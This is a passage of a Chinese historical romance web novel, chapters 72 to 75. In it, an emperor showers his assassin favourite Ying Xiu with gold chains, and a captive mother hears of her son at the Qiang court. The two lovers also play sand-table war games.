说起这个,赢秀可就有话说了,小声辩解道:“我本来想听你的话,好好待在太极殿,可是那个讨厌的人捡到了我的鸟,说已经知道了我的身份……” 赢秀极力胡扯,以规避重点,在谢舟洞若观火的目光下,还是说到了关键:“我偶然听见宫人说,羌人有意让我出面比试,我想着给你出口气,狠狠打他们一顿……” 说到最后,赢秀的声音越来越小,直到消失。 他不是傻子,两个时辰前在太极殿撞见面生的宫人议论,便察觉出了些许不妥。 但是他想要替谢舟出气,这才急匆匆赶来。 赢秀自知犯错,眼巴巴地看着帝王,没等到帝王的反应,心一横,小声道:“那你罚我吧……” 他想了想,又补充了一句:“这次可不能再蒙住我的眼睛了。”看不出谢舟此刻的喜怒,少年委屈巴巴地退了一步,道:“……得给我一盏琉璃灯。” 这次他不会再摔坏了。 谢舟半响无言,伸出手,轻轻抚摸少年凌乱的漆发,低眉,附在他耳边,道:“你帮我出了气,我很高兴。” 那道声音温凉平静,磁性清润,戛玉敲冰般,轻轻穿过耳膜。 赢秀险些昏了头,眼眸睁得圆圆的,星子似的亮光在眸底乱撞。 谢舟说他高兴,因为他帮他出了气,所以高兴…… 少年在心底不断地重复着这句话,他呆了一会儿,仰起头,颈项绷紧,弯得像一截曲线灵秀的玉,轻轻碰了一下谢舟的下颌。 谢舟身后,是两朝的权要。 他们正在仰视着他们。 赢秀不敢多亲,只是浅浅地亲了一下,低头,又搓了搓自己的指尖,揉开早已融化的药膏,很忙的样子。 谢舟伸手,指尖轻触下颌,那里,似乎还残存着一点短暂的温热。 他低垂眉眼,眸光晦暗。 第72章 第 72 章 金链子 高台下, 两朝臣子屏声敛息,不敢言语,有人大胆抬眸, 小心翼翼地用余光看向黼座。 却只看见帝王高挺颀长的背影, 看不见坐在黼座上的少年。 ——陛下刻意把那位男宠挡了个严严实实。 臣子一惊, 迅速低下头, 生怕被陛下察觉。 气氛沉凝,无人胆敢开口, 忽闻两声咕咕声, 仿佛是谁的肚子在叫。 赢秀捂住肚子,眨巴眨巴眼睛, 对谢舟道:“我饿了。” 他来时太过匆忙,连午膳也没吃几口。 谢舟:“……” 他轻轻笑了一下,冷艳眉眼间掠过淡淡的无奈,轻声道:“我们现在回去用膳。” 当着百官的面, 帝王俯下身,拉起赢秀的手, 与他一同走下层层丹犀。 朝臣躬身下跪,高声山呼万岁,声音排山倒海,几欲震耳欲聋。 垂眸望去, 两侧皆是弯如拱桥的脊梁, 紫朱朝衣,高冠长笄,赢秀没有在意,挂心着御膳房的膳食,径直从中央走过。 直到陛下和那位刺客男宠离开后, 朝臣们才敢抬起头,敲着酸软发麻的膝盖,颤颤巍巍地起身,视线在半空中碰撞,眼底皆是如出一辙的震惊。 陛下竟然…… 他们今日被震惊了许多次,甚至有些麻木。 还有人在心底思量着,回去得写一本登临之幸,皇帝把龙椅让给受伤的男宠,这一听就会风靡京畿。 心思活络的,想到陛下多年来不近孑然一身,不近女色也不好男风,突然栽在一个刺客身上。 难不成……陛下就好这口? 更有聪慧者,想起前不久禁军统领称呼男宠为皇后,因此得了赏赐之事,顿时开始思索究竟要如何才能讨好赢秀。 太极殿。 内监总管急得团团转,郎君要出去,他不敢违背,生怕会得罪未来皇后,只好眼睁睁地看着他朝玄武湖而去。 他遣了人去禀报陛下,眼下,陛下那边还没有消息,也不知到底如何了。 依陛下对赢秀的宠爱,只怕也不会如何。 待在笼子里吃饱喝足的鸱鸮歪头打量他,忽而振翅飞出笼子,准确无误地落在他脑袋上。 鸱鸮:“咕,咕咕!呜呜呜!” 内监总管欲哭无泪,哎呦小祖宗,这个时候您可别添乱了。 他还没来得及把脑袋上的鸟揪下来,便听到殿外传来宫人的通传声,陛下回来了! 赢秀一踏进殿门,一眼便看见了头顶鸱鸮,急匆匆上前相迎的内监总管。 内监总管瞧了瞧赢秀袍裾上的血迹,险些昏过去,心想莫不是陛下折腾出来,他刚要开口,措不及防看见陛下从赢秀身后走出。 高峻巍然,宛如玉山,漆黑秀丽的冠帻,黼衣方领的衮服,下摆缁韨绣着一圈黢色,逶迤曳地。 黑,极具压迫感的黑红色衮服,服帖地擐在帝王身上,浑然天成,就连袍裾上流溢的金色鹤纹也显得冰凉危险。 之所以没有第一眼看见昭肃帝,全因赢秀走在前头,金裳鹤衣,灵秀粲然,少年朝气扑面而来,鲜活动人。 内监总管一脸惶恐,连忙低头,以他对陛下的了解,陛下此刻心情应当还不错。 不过,作为一个合格的下属,该惶恐的时候还是得惶恐。 御膳房时刻都备着膳食,宫人无声地鱼贯而入,呈上佳肴。 赢秀一面埋头用膳,一面心想,谢舟还是太好哄了。 亲他一下,就什么事都没有了。 一旁,帝王静静地望着少年,目光幽深莫测,轻声道:“寡人给你换一条金链,你看看可有喜欢的?” 正在嚼嚼嚼的赢秀骤然抬头,湿漉漉的鬓发下,一双眼眸圆溜溜的,明亮懵懂,手里的玉箸砰地一声,轻轻坠落在地衣上。 不等少年开口,数位宫人已经端上了玉案,每一方玉案上都摆着一条金光闪闪的链子,粗细不一,雕工精致,卯榫复杂,看得出并非一日之功。 赢秀:“……” 金裳少年艰难地咽下梗在喉间的食物,脸上有些呆滞,眸底倒映着一道道亮光,仿佛被吓到了。 内监总管不忍地闭上眼睛,唉,好好的少年,迟早要被陛下磋磨得变成笼子里的鸟雀。 此时此刻,端坐在他脑袋上的鸟歪了歪头:“咕咕?” 内监总管一把摁住了鸱鸮,继续在心内长吁短叹,唉。 宫人亦有些不忍,从前在太极殿当差是人人避之不及的祸事,自从赢秀来了,这太极殿甚少死人,就连待遇也提高了不少。 他们心里都盼着赢秀好,盼着他在宫里自由自在的,一直和陛下好好的。 没想到…… 唉,暴君还是那个暴君,江山易改,本性难移。 倘若有人会读心,便会在太极殿内听取一片唉声。 赢秀无知无觉,继续嚼嚼嚼,直到吃得肚子浑圆,这才站起身,走到金链子面前,挨个挑拣。 他要挑一个最大最好看的,还得够沉够结实。 少年挑挑拣拣,一时犯了难,这些新的链子都很好看,华丽精致,配以璎珞珷琨,还有小铃铛,叮当响动。 哪个才是最好看的呢? 帝王耐心地等待着,倘若赢秀不挑,他会亲自替赢秀挑。 华灯高列,烛光相映。 少年转过身,怀里已经搭了两三条链子,从臂弯垂到地衣上,金灿灿,像银河披落。 “谢舟,”他小心翼翼地问道:“我可以都要吗?” 这三条是最好看的,他挑花了眼,实在难以取舍。 只怕谢舟不肯给他那么多。 赢秀很苦恼。 谢舟:“……” 宫人:“……” 内监总管:“……” 不是,你一个人,两条腿两条胳膊,带得了那么多吗。 帝王站起身,走到赢秀身前,极浅地笑了一下,凝眸望着他明亮的眸瞳,声线和缓温柔: “这些都是你的。” 赢秀有一瞬间的怔愣,好耶!这么多金链子,全都是他的! 少年扬起一个大大的笑容,转身一股脑地抱起剩下的金链子,试图装点起自己。 一条套在脖子上,两条戴在肩膀上,还有手腕上也左右各缠两圈…… 赢秀兴高采烈地缠到一半,陡然想起衣裳还没换,湿答答地黏在手臂上,已然有些干了。 湿衣裳和金链子,这样搭配一点也不漂亮。 少年哗啦一声解下所有链子,链子堆叠而落,层叠地缠在脚踝上,他抬起足尖,左脚踩右脚,努力地挣脱了金链。 还不等殿内众人反应过来,赢秀豪气地大喝一声:“我要换一件漂亮衣裳配这些链子!” 总管闻言,顿时放下心来,他还以为郎君是个傻子,没想到是以退为进,先顺着陛下的控制欲,再徐徐图之。 郎君威武! 自始至终,帝王的目光都不曾离开赢秀,笑意平静温和。 “换。” 内殿,赢秀在一排排玉桁里走来走去,左看右看,觉得这件好看,那件也好看,他犹豫不决,问谢舟:“哪件最好看?” 谢舟随意地扫了一眼琳琅满目的玉桁,都是清一色的金色,华丽艶美。 他沉思片刻,答:“穿在你身上的最好看。” 赢秀全然没有听懂他的言外之意,傻乎乎地转了个圈,低头看自己飘扬的袖袂和衣摆,苦恼道:“现在这件吗?可是已经有点脏了。” 谢舟长睫低覆,漆黑鸦睫掩住眸底涌动的暗流,轻声道:“既然脏了,那就脱下来。” “哦!” 赢秀听话地解下绣金腰带,这条腰带并非寻常的长条款式,而是逶迤的鹤形,鹤喙和淡金翎羽错落衔接,咬住纤细的薄腰。 尾部垂下两三道翎羽,薄如翅。 少年弯下腰,专心致志地对付腰带,指尖往后,摩挲着衔接处的扣襻,轻轻解开,扣襻往下垂落,连着腰带一齐曳地。 鹤形落在地上,薄薄的一片,对襟长衫立即散开,柔软地蜷在两侧。 赢秀解到一半,终于想起正经事,忙不迭地转过身,背对着谢舟,不让他瞧见。 身后,帝王早已闭目,不去看他,眼帘低垂,眼形宛如两道月弧,清冷慈悲。 闭上眼睛,殿内另一道呼吸变得格外明显,以及那时不时响起的窸窸窣窣的声音…… 这是第二次了。 下次,不能再让赢秀当着他的面换衣裳了。 赢秀哼哧哼哧地褪下旧衣裳,赤着脚走到玉珩旁边,抱起一件漂亮的衣裳,叮叮当当地往身上套。 迅速套上新衣裳,赢秀噔噔噔地跑出去,从宫人手里取过金链子,一股脑地戴在身上,蹦蹦跳跳地跑回内殿。 帝王还闭着眼睛,长身玉立,宛如一尊亘古不变的玉像。 “谢舟!”赢秀高兴到似乎忘记了什么,叮呤当啷地绕着帝王转了一圈,“你快看!这样好不好看?” 帝王缓慢掀起眼帘,光照进来,是金色的。 少年颈项上带着一挑细细的金链,双臂披着,手腕钏着,腰上也缠着,一圈一圈,高低错落。 两只赤裸的脚踝上也套着,明晃晃的金色映照着冷浸浸的白。 耳边,赢秀还在催促:“你快说呀,这样好不好看?” 帝王垂着眼,纤细黑睫维持着往下倾斜的弧度,一动不动,一眨不眨,惟有暗光流转。 幽深,漆黑,仿佛要择人而噬。 第73章 第 73 章 一曲广陵散 “……好看。” 帝王声音暗哑, 低沉温凉,仿佛正在压抑着什么。 赢秀忙着显摆,绕着他转了又转, 缠在身上的金链没有戴稳, 啪嗒散下几道。 少年急了, 手忙脚乱地捞在怀里, 连忙使唤帝王,“你快帮我带上。” ……带? 这链子本不是用来带的。 帝王抬脚, 不疾不徐地靠近, 每一步都无声。 他弯下腰,屈身, 拾起落在赢秀脚边的金链,金玉环环相扣,宛如一道锁链,落在掌心。 帝王垂眸凝视了片刻, 还不等他有所动作,赢秀已经迫不及待伸出双手, 金色袍裾下,是两截如玉的皓腕。 赢秀兴高采烈地指挥他:“戴在这儿!” 帝王一手攥住金链,一手环住赢秀两只手腕,伸出指尖, 细细地将金链绕了上去, 一圈两圈…… 缠到最后,他甚至细心地锁紧了卯榫,确保金链牢牢地锁在赢秀手上。 赢秀晃了晃双手,叮呤当啷地响,他一脸惊喜:“这样就不会掉了, ”说着,仰起头望向谢舟,眼眸中满是崇拜,“谢舟,你好聪明!” 帝王不咸不淡地受了这句夸奖,漆黑的眸光还锁在赢秀身上。 “对了,”赢秀张开双臂,肩膀上的金链应声滑落,“你把剩下的也给我带上吧。” 少年眨了眨眼,满怀期待,他还从未带过这么多漂亮的金子呢! 目睹了一切的内监总管:“……” 那可是陛下,残暴无道,嗜杀恣睢,郎君怎么能使唤陛下给他带链子?! 残暴无道,嗜杀恣睢的暴君俯下身,捡起滑落到少年衣摆的链子,绕过颈项,戴在他的肩膀两侧,还不忘把其余的链子也带好,一一锁上。 将链子首尾衔接时,稍微有一点费劲,因为,按照原先的设想,首端锁在赢秀的手脚上,尾部应当箍在龙床上。 如今首尾相连,倒真像腕饰脚镯,成了赢秀身上的点缀。 数道链子带在身上有些沉,赢秀正在兴头上,倒也不觉得笨重,他左看右看,满意得不得了。 抬头再看看一身缁色衮服,身上除了冠帻冕旒以外,并无其余点饰的帝王,赢秀瞬间有些不好意思。 他一个人把金子全都戴完了,谢舟都没有东西戴了。 从头到脚缠满了金链的少年踮起脚尖,示意谢舟低头,不知在想什么的帝王垂眉,安静地低下头。 下一刻—— 一道金链绕在帝王颈后,少年的指尖带着一点温热,擦过硬挺领襟,仰着头,双手握着两侧垂下的链子,竟是将肩膀上的金链匀了一半给他。 一道金链,锁住了两个人。 “这条给你戴,” 赢秀松开手,链子首尾虽然锁在一块,他绕了两下,又给挣开了,没好意思告诉谢舟,之所以把这条给他,因为这是最丑的一条。 温热的,金链上仿佛还残存着少年的体温,沉甸甸地绕在颈后,垂在胸膛前,随着心跳悄无声息地起伏。 帝王下意识伸手触碰链子,又看向赢秀,良久,语气低沉:“……你想把寡人锁起来么?” 赢秀奇怪地看他,“你不要么?”他再度踮起脚,伸手去够帝王颈上的链子,“那还给我吧。” 少年的指尖刚刚碰到帝王颈上的金链,骤然被按住,骨节分明的大掌扣住他的手腕,牢牢地扣在胸膛上。 帝王缓缓松开力道,低声道:“……寡人要。” ——这是赢秀亲手给他带上的。 不管是桎梏,是锁链,还是别的什么,都好。 “哦,那你戴着吧。”赢秀最后看了一眼那道丑丑的金链,虽然不够好看,但是金光闪闪的,细看还是挺好看的,他都有些后悔了。 早知道就不应该给谢舟。 与此同时,赢秀的刺客身份已经传遍南朝。 南朝士族起先震惊陛下爱上男宠,又震惊陛下有意立男宠为后,再到如今,得知男宠竟是刺客出身,他们已然有些麻木。 这么刺激的吗? 不愧是暴君,看上的人果然大有来头。 再联想前阵子的寿春坞主案,不少人已经推出了部分真相,甚至有人编了话本戏曲,廛里阁衙,不时有人传唱。 本是将军之子,家族蒙冤沦为刺客,偶得帝王之幸,登天子殿,坐天子位。 唱得那叫一个缠绵悱恻,战战兢兢,如履薄冰,甚至已经有史官准备把赢秀列入南朝佞幸传。 这一切,随着北上归朝的羌人商贾,传到了北朝。 三月春风吹呀吹,吹不去笼罩在故国上的沆砀雾气。 鸾台上,明昔鸾在唱广陵散,歌声柔美婉转,南国的水乡雾气扑面而来,唱得人心都醉了。 羌王登上高楼,立在悬梯上,呆呆地望着她。 这么多年过去,寒刀也炼作了绕指柔。 他心底的怒意消散了不少,变为平静,等明昔鸾唱毕,才道:“玄武湖比试,南朝赢了。” 明昔鸾一动不动,就连眸光也未曾变化,仿佛并不在意 “你猜,使者在南朝发现了谁?”羌王不紧不慢,语调微微上扬,带着冰冷的笑意,仿佛有意要看明昔鸾的笑话。 红衣女子不曾看他,低眉垂首,安静地像一只无声无息的柔弱鸟雀,被折了翼,只能静静地蛰伏在猎人手中。 得不到明昔鸾半点反应,羌王也不恼,继续道:“扶危,你和瘐明的孩子,是不是这个名字?” 此话一出,明昔鸾骤然抬眸,定定地望着他,似乎在分辨他话中真假。 羌王陡然沉默,有意要看明昔鸾求他的模样,等了片刻,始终不见眼前的女子有何反应,他只好自说自话:“士族的刺客,南朝帝王的男宠,你的孩子,果然厉害。” 说到最后一句话,羌王尾音拉长,意味深长,从刺客到男宠,谁人不说一句好手段。 良久,明昔鸾动了,缓缓直起身,直视着羌王,“……你说什么?” 羌王笑了,平生头一次如愿,看见自己视作宿敌的女子因他的话露出一点波澜。 他一字一句地重复道:“本王说,你与瘐明的孽种,如今是昭肃帝豢养的男宠。” 所谓男宠,能是什么好东西,以色侍人,承欢人下。 至于昭肃帝如何宠爱赢秀,甚至为他设凤椅,有意立他为男后,诸如此类的种种传闻,羌王一个也不信。 昭肃帝为何不直接立他为后,总不可能是赢秀自己不愿意吧? 明昔鸾单薄杂裾下的身躯正在轻轻颤栗,眸光颤动。 “你说谎。” 羌王无所谓地笑了笑,听闻使者在南朝被轻辱的不快骤然一扫而空。 “本王有没有说谎,等到白毦兵南下,踏平江东,你自然知道真假。” 白毦兵,是羌王手下最精锐的一支部曲,头戴白毦,面刺图腾。 明昔鸾年纪尚轻时,与其交过手,最清楚其中险恶。 她的长睫颤了颤,再次望向南朝的方向,缓缓攥紧了袍裾。 羌王顺着她的视线望去,语气散漫,命令道:“再给我唱一遍广陵散吧。” 此曲唱的是聂政刺韩傀,曲中纷披灿烂,戈矛纵横的杀伐之气,放眼北朝,整座明光宫内,惟有明昔鸾才能唱出来。 明昔鸾低下头,纵声吟唱,再度恢复了那副温驯麻木的模样。 歌声被长风吹向南朝,越过汤汤江水,逐渐散在雾中。 太极殿。 廊外站着一队金裳少年,队伍从廊前,一直蔓延到抱厦下。 个个皆是十七八岁,金衣鹤纹,金带束发,身量也如出一辙,不到八尺,将近七尺七寸。 远远望去,与赢秀身影相差无几。 内监总管走出殿门,瞧见廊下一堆“赢秀”,忍不住微微瞪大了眼,这是…… 头顶上的鸱鸮跟着一起瞪大眼,“咕咕咕咕?” 东堂内,朝臣苦口婆心,劝说陛下广开后宫,多纳几位幸臣,万不可偏宠一人。 当年元熙帝偏宠元后,元后死后,先帝一蹶不振,疯魔得不成样子,不像人皇,也不肖君父。 当年之事,还有不少人心有余悸。 帝王轻叩案几,龙案前盛着黄土的琉璃灯兀自散发着盈盈光辉。 这东西摆在森严辉煌的太极殿内着实格格不入,朝臣不由多看了几眼,心想,难不成陛下喜欢黄土? 陛下如今的嗜好,倒是愈发难以捉摸了。 大殿内一片寂静,众人惶恐不安,生怕陛下不允,更怕陛下动怒。 漆黑垂帷后,终于传出帝王温凉的声音:“带去给赢秀。” 众人愕然抬眸,带去给谁?! 他们想要分宠,陛下怎么直接把人带到了赢秀面前? 西堂。 赢秀正在研究中原的舆图,前几日和北朝羌兵打了一架,他对北朝的地势兵力越发感兴趣。 只有去到中原,才能见到母亲。 少年研究得入神,眉头苦皱,全然没注意到内监总管小步小步地挪了进来,一脸心虚,揣着手,小心翼翼道:“过来给郎君问安吧。” 天知道陛下为何会收下这些人,又为何把他们带到赢秀面前,这不是成心找事么? 倘若郎君吃醋闹起来,只怕太极殿要鸡飞狗跳。 内监总管接连暗示了两声,赢秀终于抬起头,看见不远处站着一群少年。 少年们或是神情拘束,或是大胆打量,无论是谁,心底都有些紧张,生怕赢秀出言刁难。 赢秀看了他们几眼,招手:“你们过来。” 第74章 第 74 章 坐而论道 少年们面面相觑, 战战兢兢地走了过去,低眉顺眼,生怕惹恼了赢秀。 就连一旁的内监总管也有些紧张, 唯恐太极殿下一刻就要鸡飞狗跳。 赢秀问道:“谁会堪舆?” ……堪舆? 仰观天象, 俯察地理。 这位受宠的少年幸臣问这个做什么? 数位少年你看看我, 我看看你, 终于有人主动上前,直直地望着赢秀, 似乎要看他耍什么把戏, “我会!” 赢秀眉眼弯弯,朗声命人上茶, 语气礼貌,眼眸亮晶晶,轻声细语地问道:“你可以帮我看看两朝的地势么?” 那少年一愣,手中捧着热乎乎的绿阳春, 噙了一口,甜滋滋的, 他声音放轻了不少:“……可以。” 至于其余人,赢秀想了想,命人搬来一座沙盘,将少年们各自分成两队, 一队北朝, 一队南朝,互相排兵演阵。 少年们进宫时,早已将可能发生的事在心中演练了千百回,然而眼前这一切却大大的出乎意料,他们起先还有些局促, 怀疑赢秀在戏弄他们。 斗到半酣,谁也顾不上警惕怀疑,用襻膊撸起袖子,脚踩杌子,手执旌旗,眼睛紧紧盯着沙盘。 一尊沙盘上,有色映戈矛,光摇剑戟,杀气横戎幕。① …… 帝王回到太极殿时,远远便听见了少年吵作一团,口中喊着杀杀杀。 他轻轻蹙眉,抬手制止正欲通传的内监,抬脚走入殿内。 未时云敛天末,日光正好,透明疏朗的天光透过内檐槅扇,洒在一群围案而坐的少年人身上。 相似的金裳鹤纹,漆发金带,赢秀身处其中,却显得尤为鲜明。 他坐在锦杌上,一脚踩着踏牀,一脚放在地上,用一挑金链掬起袍裾,露出白皙的手腕,身子前倾,盯着沙盘。 金链松松散散地垂着,从袍裾上垂落到他纤细的脚踝,微光逶迤。 “此战我赢了!” 赢秀高声道,一把将旌旗插在起伏的沙土上,倾身,抬手,动作行云流水,往那位输了的少年脸上贴了一道白条。 “……再来!” “这道关津是天险,我倒要看看你怎么越过去。” “我手底下还有三千五校尉,下一战必定是我胜!” 少年们兴致昂扬,声音起次彼伏。 帝王静静地立在殿门前,将一切收之眼底,顷刻,他终于动了,无声地走向赢秀。 赢秀还沉浸在打了胜仗的喜悦中,目光盯着沙盘,筹划着接下来该如何排兵布阵。 谁知坐在对面的少年们骤然安静下来,一动不动,仿佛看见了什么极为可怕之物。 赢秀不满地催促:“你们怎么不动了?不是说下一战必定要胜我么?” 一个少年替他着急,顶着满脸的白条,朝他挤眉弄眼,示意他看身后,赢秀满怀疑问,缓缓转头—— 帝王宛如玉山,立在身后,平静地注视着他们,不知何时来的,也不知看了多久。 赢秀忙不迭站起身,站得身板笔直,贴在额头上的白条还在迎风晃动,“殷奂你下朝啦!” 少年们也连忙起身,俯身下跪,齐声道:“下臣拜见陛下,陛下万岁万岁万万岁。” 帝王没看他们一眼,望着赢秀,“你很喜欢他们?” 赢秀不假思索道:“他们个个都生得漂亮,人也聪慧,我——”话说到一半,赢秀想起什么,连忙改口:“我还是最喜欢你。” 话罢,他趁着谢舟不注意,悄悄地活动了一下脚踝,方才一直搭在踏牀上,时间久了,难免有些发麻。 帝王沉默片刻,终于垂眸看了一眼跪在地上的少年们,对内监总管道:“送他们出宫。” 言下之意,便是从哪来的送回哪去。 赢秀有些急了,他好不容易才遇见这么多同龄的友人,才见了一面他们就要走了。 他刚想说些什么,却恰好撞上帝王漆黑的眸光,昳丽冷眼的眉眼一片幽冷,表情看不出什么变化。 但直觉告诉赢秀,殷奂此刻并不高兴。 赢秀只能眼巴巴地看着少年们一个一个走了,走至廊庑转角,几个少年转过身,回首朝他招了招手。 赢秀抬眸,快速地看了一眼帝王,发现殷奂正在凝眸注视一片狼藉的沙盘,趁机踮起脚尖,用力朝他们挥手。 帝王收回视线,垂眸,一眼便看见了正在努力挥手的赢秀。 他循着赢秀的视线望去,看见殿外廊庑尽头,几个少年磨磨蹭蹭,几步的路走了半天,甚至每走一步都要回首招手。 帝王:“……” ——觊觎赢秀的人太多了。 只不过是半日而已,甚至招惹了这么多人。 赢秀收回手,眸光还落在廊庑深处,依依不舍。 他回过头,措不及防地撞入一双幽深冰凉的眼眸,距离极近,甚至能看见对方稠艳秀丽的眼形,微微上挑的眼尾。 帝王低垂眉眼,一直在平静地俯视他。 赢秀没来由地有些心慌,斟酌着,还没开口,却看见帝王伸出指尖,缓缓靠近,冰凉的指腹落在他的额头上,攥住白条,轻轻一揭。 帝王明知故问:“这是什么?” 赢秀看着那几道蜷缩在帝王掌心的白条,以为他真的不知道,认真解释道:“这是白条,谁输了,就得贴一张在头上。” 说着,少年骄傲地挺起胸膛,他输得不多,只输了两三局,其他人可就不同了,走的时候贴得满脸都是。 “那沙盘呢?” 帝王继续问道。 “这个呀,”赢秀走到沙盘面前,拿起上面的旌旗,指了指中间那条蓝线,道:“这是长江,以此为界,南北两分。各据一方,互相对敌。” 再看案几铺着的卷宗和案牍,皆是和北朝有关的,上面密密麻麻写着批注,有些是赢秀的字迹,有些则全然陌生。 赢秀和这些人相处得很好。 帝王:“……” 内监总管亦是不解,那些少年穿着金裳金带,言行举止,一看便是十足十的模仿,偏偏正主毫不在意,甚至还能和他们打成一片。 赢秀认真地解释了规则,再看沙盘上颜色各异的旌旗,以及一旁画得乱七八糟的行军图,想起这一日发生的事,发自内心地感激谢舟。 “多亏你把他们带来,感觉和他们相处可有意思啦。” 少年声音清朗,轻盈灵动,带着实打实的感激。 刺客年纪轻,甚少与同龄人来往,今日还是他生平头一次和年纪相仿的少年相处。 不仅年纪相仿,甚至连衣着打扮也差不多的,可见他们喜好相近,也是难为谢舟费尽心思给他找了一堆小伙伴。 赢秀:“(=^▽^=)” 帝王望着他脸上的笑意,忽觉心底一阵柔软,他压下那股罕见又陌生的情绪,声线平静无波:“你既然喜欢,我时常让他们进宫陪你 ” “只是,”帝王话锋一转,“切不可掉以轻心。” 这个世上任何人都有可能抢走赢秀,觊觎他,企图侵占他。 赢秀应当学会有所防备。 赢秀使劲点点头,笑眼弯弯,语气坚定:“我明白了!” 看他如此信誓旦旦,谢舟问道:“你明白什么了?” 方才还在点头如捣蒜的赢秀陡然沉默,思索片刻,试着把谢舟的话重复了一遍:“……切不可掉以轻心?” 谢舟:“……” 看来还是没明白。 赢秀为了早点岔开话题,牵上谢舟的袍裾,指着沙盘,分析道:“从南朝到北朝,一共有四条水路,从东到西分别接壤扬州下邳,荆州襄阳,宁洲巴郡和江阳。” 少年眼眸认真,眸光专注地望着这方三尺宽的沙盘,抬手用朱笔在上面画出了四条线。 既然此战非打不可,那便要尽力争取速战速决,减少伤亡。 帝王望向沙盘,方才他已经将少年们留下的战局看了一遍,再看赢秀手中捏着的旌旗,是南朝的。 “赢秀,”帝王道,赢秀甚少听见谢舟连名带姓地唤他,下意识抬起头,手里还捏着那只象征着南朝的小巧旌旗。 “我来与你对弈。” 帝王眉眼淡淡,如玉如瓷,声音也轻,湛如冰玉。 赢秀扬起笑容,一壁收拾战局,一壁将手中的旗子递给谢舟,“你当南朝,我当北朝。” “不,”帝王将旌旗放回他手中,“寡人当北朝。” 少年虽然有些不解,还是乖乖地收起旌旗,转而掏出象征着北朝的旗子递给谢舟。 沙盘不大,涵盖了中原关内,九州大地,四大水系,青碧交织,山河湖海,泱漭无疆。 与其相对的是江东六郡八十一州,横峰侧岭,山水纵横。 方才,赢秀和那群少年对敌时,已然是绞尽脑汁,一步三思,轮到和谢舟对敌,他不免更加紧张,盯着沙盘,苦苦思索。 帝王坐镇北朝,手中掌握着数万羌兵和九千白毦兵,西北毗邻雁门关,与柔然接壤。 柔然人与羌人同样出身鲜卑拓跋部,在草原上互相竞争,亦敌亦友。 赢秀有刚刚从地方收归中枢的州郡兵,以及卫戍京师的中军,还有作为皇室心腹的五校尉,数量不相上下。 帝王没有迟疑,仿佛对北朝的羌兵熟悉至极,抬手落下一步,先发制人。 第75章 第 75 章 喜欢 赢秀盯着沙盘看了又看, 犹豫着,落下一子,坚壁清野, 以守代攻。 北朝一旦越过长江, 水路颠簸, 路途遥远, 辎重难以运送,此举称得上稳中求进。 帝王却毫不在意, 兀自征伐, 单刀直入,一路势如破竹, 不过半刻钟,赢秀已然输了三次。 帝王拾起放在一旁的白条,示意赢秀靠过来。赢秀恼怒地瞪了他一眼,乖乖地仰起头。 冰凉粗粝的指腹由上至下, 擦过他的面颊,将白条贴在他的脸腮上, 左右各一,正好对称。 还剩下一条,帝王思索片刻,贴在少年发上, 鬒黑如墨, 浑无雕饰,纤细单薄的白条贴在上面,时不时随风蜷起,像一只白蝶擎在鬓边。 赢秀瞧不见,只能依稀感觉到脸上和脑袋上都被贴了白条。三条, 一条也不少,他瘪了瘪嘴,心想谢舟也忒较真了些。 好不容易赢秀胜了一次,他迫不及待地抓起玉案上的白条,拎在手里,耀武扬威地晃了晃,朝帝王勾手,要他低头。 帝王安静地垂首,冠帻低覆,琉玉随之轻晃。 赢秀手里捏着白条,恨不得贴得谢舟满脸都是,碍于只有一条,不得不慎重些。 他左思右想,仰头,抬手,一把贴在了谢舟的下颌上,为了防止它掉下来,还用力按了按。 帝王威仪清淡,仙姿佚貌,一身缁色绛纱袍,皂缘中衣,袖口绣鹤纹,极其庄重威严。 贴在他下颌的白条显得格格不入,却不减威仪。 赢秀努力地压住嘴角,还是忍不住扬起一道小小的弧度,白条在下颌上,就像一道雪白的髯须。 看起来,就像是谢舟长胡子了。 窗光疏淡,少年顶着三张白条,笑得乐不可支,弯弯眉眼间皆是得逞的笑意。 帝王:“……” 春风吹过,几欲掀起帝王下颌的白条,他伸出指尖,轻轻按住,将白条牢牢按住原地,轻声道:“继续。” 输赢还未见分晓。 赢秀端正神色,谨慎地盯着沙盘,每一步都思索良久。 赢秀:“(?ì _ í?)” 等了两息,还不见他动,帝王率先落子,赢秀瞪大眼睛,提醒道:“我还没出呢!” 帝王轻笑,言简意赅:“兵贵神速。” 疆场上,刀光剑影,不会留给你思索的余地。 望着被划入北朝的城池,赢秀咬牙,发誓一定要赢下谢舟。 一炷香功夫后,赢秀脸上贴满了白条,只露出一双明亮眸瞳,圆圆的,盛满了星星怒火。 他第一次发现,谢舟竟然是一个如此诡诈的人! 心眼子比太极殿筛窗上的格子还要多。 赢秀恶狠狠地磨了磨牙,周旋良久,眼睁睁看着沙盘上插遍了北朝的旌旗,两眼一黑,端起绿杨春大喝一口,仿佛喝的不是茶水,而是某位可恶的君王。 帝王笑了,笑容清浅平和,眼见时辰不早,正欲命人收起沙盘。 赢秀连忙阻止:“再来!”他抢过帝王手中的旌旗,“这回我要当北朝!” 北朝多平原,地势平坦,便于骑兵机动,南朝多丘陵湖泊,不便行动。 总之,一定是地势问题。 赢秀总结完原因,取过案上的帛书,用狼毫对照着沙盘画起来。 本以为他马上就要新开一局的帝王:“……” 他默了一默,垂眉去看少年在画什么。 随着赢秀挥毫落墨,帛书上面逐渐出现一团鬼画符,他蘸了三种墨,一色为黑,一色为青,黑为北朝,青为南朝。 至于剩下的朱色,看起来像是沙盘上的行军路线。 赢秀画得尽兴,不时用朱笔在空白处画上一行歪歪斜斜的字,笔锋潇洒,走势灵动。 对着铺在帛书上面,横竖曲直一团鬼画符,帝王辨别了半天,勉强看出那是赢秀在记录感悟。 虽然画得飘逸了些,但是上面写的内容倒是很有意思。 “好了!” 赢秀豪气万丈地落下最后一笔,抬手掷笔,一声细响,狼毫准确无误地落入笔山上,连一滴墨也没有溅出来。 少年低头吹干帛书上的字迹,得意洋洋地递给谢舟,“你瞧瞧,还有什么可以添改之处?” 帝王没有接过,就着赢秀的手,俯视着那张帛书,眸光一一掠过,用紫毫添改了几处,一一为赢秀讲解。 赢秀似懂非懂,边听边点头,见他一知半解,帝王示意他看向悬在中堂的剑。 长剑倒悬在穹顶上,剑鞘朝上,剑尖朝下,如月光清湛,敛在鞘中,寒光不减。 ——那是赢秀的问心剑。 “上兵伐谋,其次伐交,其次伐兵,其下攻城。”帝王轻声道。 身为君王,他习惯了用计谋杀人,引导士族权要互相攻讦,自相残杀。 至于攻城略池,手段要狠,慈不掌兵,义不掌财。 赢秀点了点头,自信道:“我记住了!” 收好帛书,拔掉旌旗,取走象征部曲的棋子,清理好战局。 赢秀忽而朝谢舟趋身,轻轻触碰他的掌心,又迅速收回。 